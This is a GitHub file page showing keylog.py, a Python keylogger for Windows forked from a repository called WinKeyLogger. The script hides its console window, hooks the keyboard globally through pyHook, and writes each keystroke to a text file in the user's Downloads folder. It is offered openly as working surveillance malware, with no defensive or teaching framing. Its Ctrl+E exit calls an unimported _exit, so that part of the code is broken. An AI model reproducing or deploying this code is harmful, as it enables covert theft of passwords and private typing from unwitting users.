forked from SleepTheGod/WinKeyLogger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylog.py
42 lines (36 loc) · 1.7 KB
/
keylog.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import win32console
import win32gui
import pythoncom
import pyHook
import os
print("""
\x1b[38;2;255;255;255m███████╗██╗ ███████╗███████╗██████╗
\x1b[38;2;255;255;255m██╔════╝██║ ██╔════╝██╔════╝██╔══██╗
\x1b[38;2;255;255;255m███████╗██║ █████╗ █████╗ ██████╔╝
\x1b[38;2;255;255;255m╚════██║██║ ██╔══╝ ██╔══╝ ██╔═══╝
\x1b[38;2;255;255;255m███████║███████╗███████╗███████╗██║
\x1b[38;2;255;255;255m╚══════╝╚══════╝╚══════╝╚══════╝╚═╝
\x1b[38;2;0;255;58m>(setup)
""")
# Hide the console window
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
# Define the output file path using the default user path
output_file = os.path.join(os.path.expanduser('~'), 'Downloads', 'output.txt')
# Create or clear the output file at the start
with open(output_file, 'w') as f:
f.write('Incoming keys:\n')
def OnKeyboardEvent(event):
if event.Ascii == 5: # Exit on Ctrl + E
_exit(1)
if event.Ascii != 0 and event.Ascii != 8: # Ignore null and backspace
with open(output_file, 'a') as f:
keylogs = chr(event.Ascii)
if event.Ascii == 13: # Enter key
keylogs = '\n'
f.write(keylogs) # Append the key logs
# Set up the hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()